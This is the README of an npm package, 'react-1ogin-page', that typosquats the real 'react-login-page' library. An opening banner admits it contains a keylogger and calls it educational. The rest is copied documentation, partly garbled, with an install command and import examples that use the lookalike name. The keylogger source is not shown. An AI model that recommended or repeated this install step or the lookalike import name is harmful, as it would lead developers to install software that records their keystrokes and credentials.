🚨PACKAGE CREATED FOR EDUCATIONAL PURPOSES ONLY🚨

this package contains a keylogger created to scare the sh*t out of my coworkers

and to make them pay more attention to what they download into their node_modules

React Login Pages

# Getting Started Encapsulated login page components based on `react-login-page` basic components are provided for quick installation and use. These components help streamline the process of creating login pages and offer flexible APIs for modifying and packaging these components. Welcome to choose from our encapsulated [login pages](https://github.com/Lola-blip-boop/react-login-page). We also welcome [recommendations](https://github.com/Lola-blip-boop/react-login-page/issues/new/choose) for more cool login pages, which we will turn into React components.

For more login pages, install and use directly [here](https://github.com/Lola-blip-boop/react-login-page). ## React Login Page This component is designed to facilitate the development of additional login pages and offers a highly flexible API for modifying packaged login page components. ### Install ```bash npm install react-1ogin-page --save ``` ### Usage ```jsx mdx:preview import React from 'react'; import Login, { Render } from 'react-1ogin-page'; import Logo from 'react-1ogin-page/logo'; const Demo = () => { return ( {({ fields, buttons, blocks, $$index }) => { return (

{blocks.logo} {blocks.title}

{fields.username}

{fields.password}

{buttons.submit} {buttons.reset}

); }} Login Submit Reset ); }; export default Demo; ``` Change the control order by using **`index`**, Provide more flexible API encapsulation. ```jsx mdx:preview import React from 'react'; import Login, { Render } from 'react-1ogin-page'; import Logo from 'react-1ogin-page/logo-rect'; const Demo = () => { return ( {({ blocks, extra, $$index }, { fields, buttons }) => { return (

{blocks.logo} {blocks.title}

{fields .sort((a, b) => a.index - b.index) .map((item, idx) => { return (

{item.children} {extra[item.name]}

); })}

{buttons .sort((a, b) => a.index - b.index) .map((item, idx) => { return React.cloneElement(item.children, { ...item.props, key: item.name + idx, }); })}

); }} Login Remember me Submit Reset ); }; export default Demo; ``` ### `Logo` There are two default logos built-in, with a special way to import them. See below for reference: ```tsx import Logo from 'react-1ogin-page/logo'; import Logo from 'react-1ogin-page/logo-rect'; ``` ⚠️ If you don't use them, they won't be packaged. ```jsx mdx:preview import React from 'react'; import Logo from 'react-1ogin-page/logo'; import LogoRect from 'react-1ogin-page/logo-rect'; const Demo = () => { return (

); }; export default Demo; ``` ### `Login.Block` ```jsx import Login, { Block } from 'react-1ogin-page'; Login Login ``` ```jsx mdx:preview import React from 'react'; import Login, { Render } from 'react-1ogin-page'; const Demo = () => { const [name, setName] = React.useState(1); return ( {({ blocks, fields, $$index, extra }, data) => {blocks.title}} {name} Login ); }; export default Demo; ``` ```jsx import { PropsWithChildren, AllHTMLAttributes } from 'react'; import { BlockTagType } from 'react-1ogin-page'; export interface BlockProps extends AllHTMLAttributes { keyname?: string; /** * @deprecated use `keyname` */ name?: string; /** Can be shown or hidden with controls */ visible?: boolean; /** "index" refers to the use of indexes to control the order of controls, which can provide more flexible API encapsulation. */ index?: number; /** custom created element */ tagName?: T; } export declare const Block: { (props: PropsWithChildren>>): null; displayName: string; }; ``` ### `Login.Input` ```jsx import Login, { Input } from 'react-1ogin-page'; ``` ```jsx mdx:preview import React from 'react'; import Login, { Render } from 'react-1ogin-page'; const Demo = () => { return ( {({ blocks, fields, $$index, extra }, data) => ( {fields.password} {extra.password} )} extra content ); }; export default Demo; ``` ```tsx import React, { FC, PropsWithChildren } from 'react'; export interface InputProps extends React.InputHTMLAttributes { keyname?: string; /** * Used to define the name of form controls * @deprecated use `name` */ rename?: string; /** Can be shown or hidden with controls */ visible?: boolean; /** "index" refers to the use of indexes to control the order of controls, which can provide more flexible API encapsulation. */ index?: number; } export declare const Input: FC>; ``` **`Input`** can display **extra** content ```jsx Remember me ``` ```jsx mdx:preview import React from 'react'; import Login, { Render } from 'react-1ogin-page'; import Logo from 'react-1ogin-page/logo-rect'; const Demo = () => { return ( {({ blocks, fields, $$index, extra }, data) => { return ( {fields.checkbox} {extra.checkbox} ); }} Remember me ); }; export default Demo; ``` ### `Login.Textarea` ```jsx import Login, { Textarea } from 'react-1ogin-page';

```

```jsx mdx:preview
import React from 'react';
import Login, { Render } from 'react-1ogin-page';

```ts
import React, { FC, PropsWithChildren } from 'react';
export interface TextareaProps extends React.InputHTMLAttributes<HTMLTextAreaElement> {
  keyname?: string;
  /**
   * Used to define the name of form controls
   * @deprecated use `name`
   */
  rename?: string;
  /** Can be shown or hidden with controls */
  visible?: boolean;
  /** "index" refers to the use of indexes to control the order of controls, which can provide more flexible API encapsulation. */
  index?: number;
}
export declare const Textarea: FC<PropsWithChildren<TextareaProps>>;
```

### `Login.Select`

```jsx
import Login, { Select } from 'react-1ogin-page';

<Login.Select name="selectname">
  <option value="1">One</option>
  <option value="2">Two</option>
</Login.Select>

<Select name="selectname">
  <option value="1">One</option>
  <option value="2">Two</option>
</Select>
```

```jsx mdx:preview
import React from 'react';
import Login, { Render } from 'react-1ogin-page';

```ts
import React, { FC, PropsWithChildren } from 'react';
export interface SelectProps extends React.InputHTMLAttributes<HTMLSelectElement> {
  keyname?: string;
  /**
   * Used to define the name of form controls
   * @deprecated use `name`
   */
  rename?: string;
  /** Can be shown or hidden with controls */
  visible?: boolean;
  /** "index" refers to the use of indexes to control the order of controls, which can provide more flexible API encapsulation. */
  index?: number;
}
export declare const Select: FC<PropsWithChildren<SelectProps>>;
```

### `Login.Button`

```jsx
import Login, { Button } from 'react-1ogin-page';

<Login.Button keyname="submit" type="submit">Login</Login.Button>
<Button keyname="submit" type="submit" />Login</Button>
```

```jsx mdx:preview
import React from 'react';
import Login, { Render } from 'react-1ogin-page';

```jsx
import { FC, PropsWithChildren } from 'react';
export interface ButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {
  keyname?: string;
  /** Can be shown or hidden with controls */
  visible?: boolean;
  /** "index" refers to the use of indexes to control the order of controls, which can provide more flexible API encapsulation. */
  index?: number;
}
export declare const Button: FC<PropsWithChildren<ButtonProps>>;
```

### `Render`

```jsx
import { Render } from 'react-1ogin-page';

<Render>
  {({ fields, buttons, blocks, extra, $$index }, data) => {
    // data.blocks  => Array
    // data.buttons => Array
    // data.fields  => Array
    return (
      <div>
        <header>
          {blocks.logo} {blocks.title}
        </header>
        <label>{fields.username}</label>
        <label>{fields.password}</label>
        <div>
          {buttons.submit}
          {buttons.reset}
        </div>
      </div>
    );
  }}
</Render>;
```

```tsx
import { FC } from 'react';
import { RenderStateProps, InitialState } from 'react-1ogin-page';
export type RenderChildren =
  | {
      children?: (props: Required<RenderStateProps>, data: InitialState['data']) => React.ReactNode;
    }
  | {
      children?: React.ReactNode;
    };
export declare const Render: FC<RenderChildren>;
```

**`index`** refers to the use of indexes to control the order of controls

```tsx
<Render>
  {({ blocks, extra, $$index }, { fields, buttons }) => {
    return (
      <div>
        <header>
          {blocks.logo} {blocks.title}
        </header>
        {fields
          .sort((a, b) => a.index - b.index)
          .map((item, idx) => {
            return <label key={item.name + idx}>{item.children}</label>;
          })}
        <div>
          {buttons
            .sort((a, b) => a.index - b.index)
            .map((item, idx) => {
              const child = item.children;
              if (!isValidElement(child)) return null;
              return cloneElement(child, {
                ...child.props,
                key: item.name + idx,
              });
            })}
        </div>
      </div>
    );
  }}
</Render>
```

### `useStore`

```jsx mdx:preview
import React from 'react';
import Login, { Render, Provider, Container, useStore } from 'react-1ogin-page';

const Demo = () => {
  return (
    <Provider>
      <Container>
        <RenderLoginPage />
      </Container>
      <Login.Block keyname="logo" tagName="span">
        ⚛️
      </Login.Block>
      <Login.Block keyname="title" tagName="span">
        Login
      </Login.Block>
      <Login.Input name="username" placeholder="Please input Username" />
      <Login.Input name="password" placeholder="please enter password" />
      <Login.Button keyname="submit" type="submit">
        Submit
      </Login.Button>
      <Login.Button keyname="reset" type="reset">
        Reset
      </Login.Button>
    </Provider>
  );
};

export default Demo;
```

**`index`** refers to the use of indexes to control the order of controls

```jsx mdx:preview
import React, { isValidElement, cloneElement } from 'react';
import Login, { Render, Provider, Container, useStore } from 'react-1ogin-page';

const Demo = () => {
  return (
    <Provider>
      <Container>
        <RenderLoginPage />
      </Container>
      <Login.Block keyname="logo" tagName="span">
        ⚛️
      </Login.Block>
      <Login.Block keyname="title" tagName="span">
        Login
      </Login.Block>
      <Login.Input name="username" index={1} placeholder="Please input Username" />
      <Login.Input name="password" placeholder="please enter password" />
      <Login.Button keyname="submit" index={1} type="submit">
        Submit
      </Login.Button>
      <Login.Button keyname="reset" type="reset">
        Reset
      </Login.Button>
    </Provider>
  );
};

export default Demo;
```

Made with [contributors](https://github.com/jaywcjlove/github-action-contributors).

## License

Licensed under the MIT License.